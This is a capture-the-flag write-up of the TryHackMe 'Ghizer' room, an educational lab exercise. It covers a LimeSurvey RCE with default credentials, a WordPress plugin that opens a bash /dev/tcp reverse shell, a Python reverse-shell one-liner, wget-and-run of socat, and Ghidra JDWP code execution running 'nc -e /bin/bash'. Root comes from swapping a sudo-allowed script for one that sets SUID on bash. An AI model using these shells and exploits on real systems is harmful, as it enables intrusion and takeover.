siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Ghizer | Oct 10, 2022

Introduction

Welcome to my another writeup! In this TryHackMe Ghizer room, you’ll learn: LimeSurvey Remote Code Execution(RCE), exploiting WordPress, Ghidra Remote Code Execution(RCE) via JDWP debug port, and more! Without further ado, let’s dive in.

Background

lucrecia has installed multiple web applications on the server.

Difficulty: Medium

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# export RHOSTS=10.10.160.234
                                                                                                           
┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# rustscan --ulimit 5000 -t 2000 --range=1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT      STATE SERVICE    REASON         VERSION
21/tcp    open  ftp?       syn-ack ttl 63
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest, X11Probe: 
|     220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
|     Please login with USER and PASS.
|   Kerberos, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|_    220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
80/tcp    open  http       syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-generator: LimeSurvey http://www.limesurvey.org
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B55AD3F0C0A029568074402CE92ACA23
|_http-title:         LimeSurvey    
443/tcp   open  ssl/http   syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| ssl-cert: Subject: commonName=ubuntu
| Issuer: commonName=ubuntu
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-07-23T17:27:31
| Not valid after:  2030-07-21T17:27:31
| MD5:   afb1 a2b9 1183 2e49 f707 9d1a 7198 9ca3
| SHA-1: 37f1 945f 6bc4 3fad 3f0f ca8d 3788 2c17 cc25 0792
| -----BEGIN CERTIFICATE-----
| MIICsjCCAZqgAwIBAgIJAIIhLFTsAdpUMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
| BAMMBnVidW50dTAeFw0yMDA3MjMxNzI3MzFaFw0zMDA3MjExNzI3MzFaMBExDzAN
| BgNVBAMMBnVidW50dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALm4
| +BEIDO1MIeQZQkUZfeEqegkSYi8IGF2zvpL2zpUOCjcpm9pFZwj/ZT8g/nbdhVpX
| Q0z3eWzFKRRZdthTOfCtNkZjQhJlpR+Fvc7QDUHSG+ugZL0nIuQMKaniom6OVuQg
| 3nyxPehC9eYOjovV6m3TOWVHRYMRpf54RHHwwvpHwHkJAEcg7oHwBgP/JeW3h20r
| G/Ri8FpPZs49xYArZ15te9ofw0TUigqx03RguwKLYr+/i7+UFwmzU93+ylz/PE16
| HVfEBAFGIY52wWkc5Pt3+B+T5HZqVLqAW8LNcxSuugiMkgV1r4QQlBgNpc026aZR
| EG6sF9C57EOQgyBVihECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsF
| AAOCAQEAXYtbViAQzTFPjlPzwItXfMsyYYkH9guFsI9l0A6/6xa6CCwklJAF1vjz
| tpHg338NRn4CXobk9Y6aopmUsNhFwlryS5YwPQ1s5ml6GHaDQ7ijG52J4Uj1J4o5
| nRlDgqXi8EM/Dl5cgwHBnQ3k/u3uoPp/H0jIfXK/jskVurNb/sT6Raj5TEgcgMMm
| 8Hzj0jqSROhDZFtU93z8OCZWBaO8u+wVj0xtdHpg+X8UQalIrASlsSNn1i50lU2p
| 0C+eASFiDrOue7gzDDO4pdYrxmG5MiRNrfKQPLv3IvT0gEgCgkulRLo//CeY1tQ9
| 7KFSteW6LSwpqHdP08faw+/nJnfnXQ==
|_-----END CERTIFICATE-----
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-generator: WordPress 5.4.2
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-title: Ghizer – Just another WordPress site
18002/tcp open  java-rmi   syn-ack ttl 63 Java RMI
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:44671
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
44671/tcp open  java-rmi   syn-ack ttl 63 Java RMI
45355/tcp open  tcpwrapped syn-ack ttl 63

According to rustscan result, we have 6 ports are opened:

Open Ports Service
21 FTP
80 HTTP, Apache 2.4.18 ((Ubuntu))
443 HTTPS, Apache 2.4.18 ((Ubuntu))
18002,44671 Java RMI
45355 Unknown

FTP on Port 21

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# ftp $RHOSTS                              
Connected to 10.10.160.234.
220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
Name (10.10.160.234:nam): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> ^D
221 Goodbye.

It doesn’t allow anonymous login. We need credentials.

HTTP on Port 80

Add a new domain to /etc/hosts: (Optional, but it’s a good practice to do this.)

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# echo "$RHOSTS ghizer.thm" | tee -a /etc/hosts

Found LimeSurvey.

Searchsploit:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# searchsploit limesurvey   
--------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                       |  Path
--------------------------------------------------------------------- ---------------------------------
LimeSurvey (PHPSurveyor 1.91+ stable) - Blind SQL Injection          | php/webapps/18508.txt
LimeSurvey (phpsurveyor) 1.49rc2 - Remote File Inclusion             | php/webapps/4156.txt
LimeSurvey 1.52 - 'language.php' Remote File Inclusion               | php/webapps/4544.txt
LimeSurvey 1.85+ - 'admin.php' Cross-Site Scripting                  | php/webapps/35787.txt
LimeSurvey 1.92+ build120620 - Multiple Vulnerabilities              | php/webapps/19330.txt
LimeSurvey 2.00+ (build 131107) - Multiple Vulnerabilities           | php/webapps/29789.txt
LimeSurvey 3.17.13 - Cross-Site Scripting                            | php/webapps/47386.txt
LimeSurvey 4.1.11 - 'File Manager' Path Traversal                    | php/webapps/48297.txt
LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripti | php/webapps/48523.txt
LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting  | php/webapps/48289.txt
LimeSurvey 4.3.10 - 'Survey Menu' Persistent Cross-Site Scripting    | php/webapps/48762.txt
LimeSurvey 5.2.4 - Remote Code Execution (RCE) (Authenticated)       | php/webapps/50573.py
LimeSurvey < 3.16 - Remote Code Execution                            | php/webapps/46634.py
--------------------------------------------------------------------- ---------------------------------

Hmm… But we don’t know the version…

Initial Foothold 1 - LimeSurvey RCE

Then, I dig deeper in LimeSurvey GitHub repository, I found that there is a file called release_notes.txt in /docs/:

http://ghizer.thm/docs/release_notes.txt:

Welcome to LimeSurvey v3.x!
[...]
CHANGE LOG
------------------------------------------------------

Changes from 3.15.8 (build 190130) to 3.15.9 (build 190214) January 14, 2019
[...]

Found it’s version: LimeSurvey 3.15.9 (build 190214).

Let’s try the LimeSurvey < 3.16 - Remote Code Execution exploit, which found via searchsploit:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# searchsploit -m 46634

And it needs credentials, which we currently don’t have it:

# Usage: python exploit.py [URL] [USERNAME] [PASSWORD]

Then, I decided to dig deeper in the rabbit hole.

In their GitHub repository, I found the default password in the admin panel:

$config['defaultuser'] = 'admin'; // This is the default username when LimeSurvey is installed
$config['defaultpass'] = 'password'; // This is the default password for the default user when LimeSurvey is installed

Let’s try that credentials!

Oh!! I’m in!

Armed with this information, let’s go back to the 46634.py exploit and run it!

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# python2 46634.py http://ghizer.thm admin password
[*] Logging in to LimeSurvey...
[*] Creating a new Survey...
[+] SurveyID: 252422
[*] Uploading a malicious PHAR...
[*] Sending the Payload...
[*] TCPDF Response: <strong>TCPDF ERROR: </strong>[Image] Unable to get the size of the image: phar://./upload/surveys/252422/files/malicious.jpg
[+] Pwned! :)
[+] Getting the shell...
$ whoami;hostname;id;ip a
www-data
ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[...]
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:56:23:b0:c1:77 brd ff:ff:ff:ff:ff:ff
    inet 10.10.160.234/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::56:23ff:feb0:c177/64 scope link 
       valid_lft forever preferred_lft forever

I’m www-data!

In /var/www/html/limesurvey/application/config/config.php, we can see there is a credentials for MySQL:

'db' => array(
			'connectionString' => 'mysql:host=localhost;port=3306;dbname=limedb;',
			'emulatePrepare' => true,
			'username' => 'Anny',
			'password' => '{Redacted}',
			'charset' => 'utf8mb4',
			'tablePrefix' => 'lime_',
		),

Initial Foothold 2 - WordPress RCE

In HTTPS on port 443, it’s a WordPress page!

Also, it said: I use the plugin WPS Hide Login for hide wp-login!

By default, WordPress login page is in /wp-login.php. If the WordPress has WPS Hide Login plugin installed, the login will changed.

Note: There are 2 ways to find the login url. The first way requires initial foothold in LimeSuvey.

Finding Login URL in WordPress 1 - LimeSurvey RCE -> MySQL

Since we’re already has remote access to the target machine, we can go to MySQL database and look for the value of whl_page in wp_options table. (Source: GreenGeeks)

But before we do that, make sure our reverse shell is stabled: (If you’re using pwncat-cs, press Ctrl + D to switch to remote mode.)

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# pwncat-cs -lp 4444

$ python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.8.27.249",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

[04:31:20] Welcome to pwncat 🐈!                                                            __main__.py:164
[04:32:00] received connection from 10.10.160.234:60446                                          bind.py:84
[04:32:05] 10.10.160.234:60446: registered new host w/ db                                    manager.py:957
(local) pwncat$                                                                                            
(remote) www-data@ubuntu:/var/www/html/limesurvey$ whoami;hostname;id;ip a
www-data
ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[...]
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:56:23:b0:c1:77 brd ff:ff:ff:ff:ff:ff
    inet 10.10.160.234/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::56:23ff:feb0:c177/64 scope link 
       valid_lft forever preferred_lft forever

Found MySQL credentials for WordPress:

(remote) www-data@ubuntu:/var/www/html/wordpress$ cat wp-config.php
[...]
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );

/** MySQL database password */
define( 'DB_PASSWORD', '{Redacted}' );

Let’s login as wordpressuser in MySQL, and find the value of whl_page!

(remote) www-data@ubuntu:/var/www/html/wordpress$ mysql -uwordpressuser -p{Redacted}
[...]
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| wordpress          |
+--------------------+

mysql> use wordpress;
[...]

mysql> show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+

mysql> desc wp_options;
+--------------+---------------------+------+-----+---------+----------------+
| Field        | Type                | Null | Key | Default | Extra          |
+--------------+---------------------+------+-----+---------+----------------+
| option_id    | bigint(20) unsigned | NO   | PRI | NULL    | auto_increment |
| option_name  | varchar(191)        | NO   | UNI |         |                |
| option_value | longtext            | NO   |     | NULL    |                |
| autoload     | varchar(20)         | NO   | MUL | yes     |                |
+--------------+---------------------+------+-----+---------+----------------+

mysql> SELECT * FROM wp_options WHERE option_name='whl_page';
+-----------+-------------+--------------+----------+
| option_id | option_name | option_value | autoload |
+-----------+-------------+--------------+----------+
|       155 | whl_page    | devtools     | yes      |
+-----------+-------------+--------------+----------+

Found it! The login url is: /devtools

Finding Login URL in WordPress 2 - WordPress Meta Log in

If you scoll down to the bottom of the WordPress home page, you’ll see there is a Log in url under the Meta header:

Armed with this information, we can login to the WordPress admin panel with the anny user credentials!

I’m in!

Next, to get a shell, we can add a reverse shell plugin!

To do so, I’ll:

PHP reverse shell for WordPress plugin:

<?php 
/**
* Plugin Name: Revshell
* Author: siunam
*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.8.27.249/443 0>&1'")
?>
┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# zip revshell.zip revshell.php

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# nc -lnvp 443
listening on [any] 443 ...

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# nc -lnvp 443
listening on [any] 443 ...
connect to [10.8.27.249] from (UNKNOWN) [10.10.160.234] 37300
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/wordpress/wp-admin$ whoami;hostname;id;ip a
whoami;hostname;id;ip a
www-data
ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[...]
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:56:23:b0:c1:77 brd ff:ff:ff:ff:ff:ff
    inet 10.10.160.234/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::56:23ff:feb0:c177/64 scope link 
       valid_lft forever preferred_lft forever

I’m www-data!

Stable shell via socat:

┌──(root🌸siunam)-[/opt/static-binaries/binaries/linux/x86_64]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

www-data@ubuntu:/var/www/html/wordpress/wp-admin$ wget http://10.8.27.249/socat -O /dev/shm/socat;chmod +x /dev/shm/socat;/dev/shm/socat TCP:10.8.27.249:4445 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4445
2022/10/10 05:15:09 socat[36238] N opening character device "/dev/pts/3" for reading and writing
2022/10/10 05:15:09 socat[36238] N listening on AF=2 0.0.0.0:4445
                                                                 2022/10/10 05:15:48 socat[36238] N accepting connection from AF=2 10.10.160.234:38098 on AF=2 10.8.27.249:4445
                                                                        2022/10/10 05:15:48 socat[36238] N starting data transfer loop with FDs [5,5] and [7,7]
                                                        www-data@ubuntu:/var/www/html/wordpress/wp-admin$ 
www-data@ubuntu:/var/www/html/wordpress/wp-admin$ stty rows 22 columns 107
www-data@ubuntu:/var/www/html/wordpress/wp-admin$ export TERM=xterm-256color
www-data@ubuntu:/var/www/html/wordpress/wp-admin$ ^C     
www-data@ubuntu:/var/www/html/wordpress/wp-admin$ 

Privilege Escalation

www-data to veronica

www-data@ubuntu:/var/www/html/wordpress/wp-admin$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
veronica:x:1000:1000:Ghi,,,:/home/veronica:/bin/bash

www-data@ubuntu:/var/www/html/wordpress/wp-admin$ ls -lah /home
[...]
drwxr-xr-x 22 veronica veronica 4.0K Oct 10 00:32 veronica

www-data@ubuntu:/var/www/html/wordpress/wp-admin$ cd /home/veronica/

In the home directory of user veronica, there is a base.py python script which owned by root:

www-data@ubuntu:/home/veronica$ ls -lah
[...]
-rw-r--r--  1 root     root       86 Jul 23  2020 base.py
[...]

base.py:

import base64

hijackme = base64.b64encode(b'tryhackme is the best')
print(hijackme)

Maybe it’s about python library hijacking?

However, we can’t escalate to root yet, as we can’t execute the base.py in elevated permission, like SUID sticky bit, sudo permission.

It seems like we have to escalate to veronica first, maybe he has sudo permission to run base.py as root.

In the netstat command output, we can see that port 631, 3306 and 18001 is opened in localhost.

www-data@ubuntu:/home/veronica$ netstat -tunlp
[...]
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:18001         0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -
[...]

Also, in the home directory in veronica, it has a dircetory called ghira_9.0:

www-data@ubuntu:/home/veronica$ ls -lah
drwxrwxrwx  9 veronica veronica 4.0K Feb 28  2019 ghidra_9.0

And then I searched Ghidra exploit in searchsploit:

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# searchsploit ghidra                              
---------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ---------------------------------
Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution                  | linux/local/47231.py
---------------------------------------------------------------------- ---------------------------------

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# searchsploit -m 47231

There is a Ghidra RCE in version 9.0.4!

By reading the exploit, it needs a .gar file:

# Line 35
parser.add_argument("file", help="Path to input export .gar file",default=1)

However, this exploit requires an interaction with the Ghidra GUI.

After I googling more about Ghidra 9.0 exploits, I found that there is a GitHub Issues says RCE Through JDWP Debug Port.

Remote code execution is achievable through the JDWP debug port 18001 which is opened to all interfaces when launching in debug mode.

Then, I also found a YouTube demo video that showcasing this exploit.

To exploit it, I’ll:

www-data@ubuntu:/home/veronica$ jdb -attach 127.0.0.1:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> 
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Log4j2-TF-4-Scheduled-1[1] 
┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# nc -lnvp 4446
listening on [any] 4446 ...
Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec("nc 10.8.27.249 4446 -e /bin/bash")
┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# nc -lnvp 4446
listening on [any] 4446 ...
connect to [10.8.27.249] from (UNKNOWN) [10.10.160.234] 50874
whoami;hostname;id;ip a
veronica
ubuntu
uid=1000(veronica) gid=1000(veronica) groups=1000(veronica),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
[...]
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:56:23:b0:c1:77 brd ff:ff:ff:ff:ff:ff
    inet 10.10.160.234/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::56:23ff:feb0:c177/64 scope link 
       valid_lft forever preferred_lft forever

I’m veronica!

Stable shell via socat:

/dev/shm/socat TCP:10.8.27.249:4445 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

┌──(root🌸siunam)-[~/ctf/thm/ctf/Ghizer]
└─# socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4445
2022/10/10 06:10:34 socat[52558] N opening character device "/dev/pts/3" for reading and writing
2022/10/10 06:10:34 socat[52558] N listening on AF=2 0.0.0.0:4445
                                                                 2022/10/10 06:11:16 socat[52558] N accepting connection from AF=2 10.10.160.234:38118 on AF=2 10.8.27.249:4445
                                                                     2022/10/10 06:11:16 socat[52558] N starting data transfer loop with FDs [5,5] and [7,7]
                                                  veronica@ubuntu:~$ 
veronica@ubuntu:~$ stty rows 22 columns 107
veronica@ubuntu:~$ export TERM=xterm-256color
veronica@ubuntu:~$ ^C
veronica@ubuntu:~$ 

user.txt:

veronica@ubuntu:~$ cat /home/veronica/user.txt
THM{Redacted}

veronica to root

Sudo permission:

veronica@ubuntu:~$ sudo -l
Matching Defaults entries for veronica on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User veronica may run the following commands on ubuntu:
    (ALL : ALL) ALL
    (root : root) NOPASSWD: /usr/bin/python3.5 /home/veronica/base.py

User veronica is able to run any command as root, but it requires password, and we don’t know about this.

However, we can run base.py as root without password! Also, since we’re user veronica, we can just remove the original base.py, and replace our malicious python script!

To escalate to root, I’ll:

veronica@ubuntu:~$ mv base.py base.py.bak
veronica@ubuntu:~$ cat << EOF > base.py
> import os
> 
> os.system('chmod +s /bin/bash')
> EOF
veronica@ubuntu:~$ sudo /usr/bin/python3.5 /home/veronica/base.py

veronica@ubuntu:~$ ls -lah /bin/bash
-rwsr-sr-x 1 root root 1014K Jul 12  2019 /bin/bash
veronica@ubuntu:~$ /bin/bash -p

bash-4.3# whoami;hostname;id;ip a
root
ubuntu
uid=1000(veronica) gid=1000(veronica) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(veronica)
[...]
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:56:23:b0:c1:77 brd ff:ff:ff:ff:ff:ff
    inet 10.10.160.234/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::56:23ff:feb0:c177/64 scope link 
       valid_lft forever preferred_lft forever

I’m root! :D

Rooted

root.txt:

bash-4.3# cat /root/root.txt
THM{Redacted}

Conclusion

What we’ve learned:

  1. LimeSurvey Remote Code Execution(RCE)
  2. WordPress WPS Hide Login Plugin
  3. Exploiting WordPress
  4. Privilege Escalation via Ghidra RCE Through JDWP Debug Port
  5. Privilege Escalation via Python Library Hijacking